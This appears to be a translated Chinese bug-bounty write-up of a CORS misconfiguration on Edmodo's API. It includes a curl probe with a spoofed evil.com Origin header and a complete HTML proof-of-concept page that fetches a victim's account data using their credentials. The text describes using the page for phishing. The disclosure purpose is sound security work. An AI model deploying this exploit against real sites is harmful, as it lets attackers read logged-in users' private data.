漏洞:跨域请求
难度:低
现在我正在渗透Edmodo,我察觉到某个API接口可能存在CORS漏洞。首先我们必须先确认该站点是否能够跨域请求资源,于是我利用了curl来检测。然后它返回Access-Control-Allowed-Credentials: true 这意味着这里存在一个CORS漏洞
1
| curl https://api.edmodo.com -H "Origin: https://evil.com" -I
|
所以最终的payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <!DOCTYPE html> <html> <head> <title>CORS PoC Exploit</title> </head> <body> <center> <h1>CORS Exploit<br>Yeasir Arafat</h1> <hr> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script type="text/javascript"> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if(this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = this.responseText; } }; xhttp.open("GET", "https://api.edmodo.com/users/id", true); xhttp.withCredentials = true; xhttp.send(); } </script> </center> </body> </html>
|
当我配置好钓鱼页面之后,一旦用户点击就会触发跨域请求,将用户信息发送给我
打赏译者